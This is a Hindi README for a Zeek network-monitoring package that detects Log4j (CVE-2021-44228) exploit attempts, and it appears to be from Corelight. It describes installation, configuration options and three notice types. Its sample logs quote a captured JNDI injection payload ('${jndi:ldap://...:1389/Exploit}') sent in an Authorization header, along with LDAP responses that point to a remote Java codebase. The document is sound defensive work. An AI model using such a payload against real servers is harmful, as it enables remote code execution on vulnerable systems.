corelight/cve-2021-44228Zeek पैकेज जो HTTP हेडर पेलोड, LDAP जावा क्लास डाउनलोड और दूसरे चरण के जावा क्लास डाउनलोड के माध्यम से Log4j CVE-2021-44228 शोषण प्रयासों का पता लगाने के लिए है, जिसमें कॉन्फ़िगरेबल लॉगिंग और सूचना निर्माण शामिल है।
एक Zeek पैकेज जो Log4J (CVE-2021-44228) प्रयासों के लिए सूचनाएँ जारी करता है, HTTP कनेक्शनों को टैग करता है और वैकल्पिक रूप से एक लॉग उत्पन्न करता है।
HTTP हैडर में पेलोड का पता लगाता है: विवरण के लिए Simplifying Detection of Log4Shell देखें।
LDAP खोज के दौरान जब Java फ़ाइल वापस आती है तो सूचनाएँ उत्पन्न करने के लिए Zeek signatures का उपयोग करता है। विवरण के लिए Detecting Log4j via Zeek & LDAP traffic देखें।
दूसरे चरण का Java Class डाउनलोड होने पर पता लगाता है, भले ही पेलोड और पहले चरण का पता लगाना हुआ हो या नहीं। विवरण के लिए Detecting Log4j exploits via Zeek when Java downloads Java देखें।
$ zkg install cve-2021-44228
अपने पास मौजूद pcap के विरुद्ध उपयोग करें:
$ zeek -Cr scripts/__load__.zeek your.pcap
यदि आप रिपॉजिटरी के git clone किए गए संस्करण से स्थापित करते हैं, तो ध्यान दें कि यह डिफ़ॉल्ट रूप से डेवलपमेंट ब्रांच पर सेट होता है। पैकेज के अधिक स्थिर संस्करण के लिए master या किसी रिलीज़ से स्थापित करें।
CVE_2021_44228::log यह निर्धारित करता है कि log4j लॉग उत्पन्न होता है या नहीं। डिफ़ॉल्ट T है।CVE_2021_44228::ignorable_target_hosts उन target_host का एक सेट है जिन्हें अनदेखा किया जाना है। यह एक set[string] है, इसलिए IP और डोमेन दोनों को अनदेखा किया जा सकता है।CVE_2021_44228::ignorable_orig_hosts ज्ञात हानिरहित स्कैनर्स से addr का सेट जिन्हें अनदेखा किया जा सकता है।CVE_2021_44228::ignorable_resp_hosts उपरोक्त के समान लेकिन resp के लिए।CVE_2021_44228::try_normalize यह निर्धारित करता है कि पेलोड को सामान्य करने का प्रयास किया जाना चाहिए या नहीं। डिफ़ॉल्ट T है।यह पैकेज तीन अलग-अलग सूचनाएँ उत्पन्न करता है:
LOG4J_ATTEMPT_HEADERLOG4J_LDAP_JAVALOG4J_JAVA_CLASS_DOWNLOADLOG4J_ATTEMPT_HEADER HTTP हेडर डेटा के आधार पर संभावित प्रयासों को चिह्नित करता है। यदि सक्षम किया गया हो तो ये log4j में भी लॉग किए जाते हैं।
#separator \x09
#set_separator ,
#empty_field (empty)
#unset_field -
#path notice
#open 2021-12-14-11-50-29
#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p fuid file_mime_type file_desc proto note msg sub src dst p n peer_descr actions email_dest suppress_for remote_location.country_code remote_location.region remote_location.city remote_location.latitude remote_location.longitude
#types time string addr port addr port string string string enum enum string string addr addr port count string set[enum] set[string] interval string string string double double
1639350256.733555 Cp7gaS3nVqVl49obpb 154.65.28.250 57932 172.16.4.58 80 - - - tcp CVE_2021_44228::LOG4J_ATTEMPT_HEADER Possible Log4j exploit CVE-2021-44228 exploit in header. Refer to sub field for sample of payload, original_URI and list of server headers uri='/', payload_uri=45.83.193.150:1389/Exploit, payload_stem=45.83.193.150:1389, payload_host=45.83.193.150, payload_port=1389, method=GET, is_orig=T, header name='AUTHORIZATION', header value='Bearer ${jndi:ldap://45.83.193.150:1389/Exploit}' 154.65.28.250 172.16.4.58 80 - - Notice::ACTION_LOG (empty) 3600.000000 - - - - -
#close 2021-12-14-11-50-29
LOG4J_LDAP_JAVA LDAP द्वारा Java बाइटकोड डाउनलोड करने का पता लगाता है। व्यवहार में, हम देखते हैं कि यह इतनी कम बार होता है कि यह संभावित सफल शोषण के लिए एक अच्छा प्रॉक्सी डिटेक्शन बनाता है।
#separator \x09
#set_separator ,
#empty_field (empty)
#unset_field -
#path notice
#open 2021-12-16-20-54-13
#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p fuid file_mime_type file_desc proto note msg sub src dst p n peer_descr actions email_dest suppress_for remote_location.country_code remote_location.region remote_location.city remote_location.latitude remote_location.longitude
#types time string addr port addr port string string string enum enum string string addr addr port count string set[enum] set[string] interval string string string double double
1639425815.885952 ClEkJM2Vm5giqnMf4h 172.16.238.10 57650 172.16.238.11 1389 - - - tcp Signatures::Sensitive_Signature 172.16.238.11: log4j_javaclassname_tcp 0\x81\x90\x02\x01\x02d\x81\x8a\x04\x01a0\x81\x840\x16\x04\x0djavaClassName1\x05\x04\x03foo0*\x04\x0cjavaCodeBase1\x1a\x04\x18http://172.16.238.11:80/0$\x04\x0bobjectClass1\x15\x04\x13javaNamingReference0\x18\x04\x0bjavaFactory1\x09\x04\x07... 172.16.238.11 172.16.238.10 1389 - - Notice::ACTION_LOG (empty) 3600.000000 - - - - -
1639425815.885952 ClEkJM2Vm5giqnMf4h 172.16.238.10 57650 172.16.238.11 1389 - - - tcp CVE_2021_44228::LOG4J_LDAP_JAVA Possible Log4j exploit CVE-2021-44228 exploit, JAVA over LDAP. Refer to sub field for sample of payload. 0\x81\x90\x02\x01\x02d\x81\x8a\x04\x01a0\x81\x840\x16\x04\x0djavaClassName1\x05\x04\x03foo0*\x04\x0cjavaCodeBase1\x1a\x04\x18http://172.16.238.11:80/0$\x04\x0bobjectClass1\x15\x04\x13javaNamingReference0\x18\x04\x0bjavaFactory1\x09\x04\x07Exploit 172.16.238.10 172.16.238.11 1389 - - Notice::ACTION_LOG (empty) 3600.000000 - - - - -
1639425834.635341 CUM0KZ3MLUfNB0cl11 172.16.238.10 57742 172.16.238.11 1389 - - - tcp Signatures::Sensitive_Signature 172.16.238.11: log4j_javaclassname_tcp 0\x81\x90\x02\x01\x02d\x81\x8a\x04\x01a0\x81\x840\x16\x04\x0djavaClassName1\x05\x04\x03foo0*\x04\x0cjavaCodeBase1\x1a\x04\x18http://172.16.238.11:80/0$\x04\x0bobjectClass1\x15\x04\x13javaNamingReference0\x18\x04\x0bjavaFactory1\x09\x04\x07... 172.16.238.11 172.16.238.10 1389 - - Notice::ACTION_LOG (empty) 3600.000000 - - - - -
#close 2021-12-16-20-54-13
अंत में, LOG4J_JAVA_CLASS_DOWNLOAD एक सूचना उत्पन्न करता है जब हमें विश्वास होता है कि Java अधिक Java डाउनलोड करता है। जैसा कि ऊपर बताया गया है, यह उपयोगी प्रॉक्सी डिटेक्शन होने के लिए पर्याप्त रूप से कम होता है।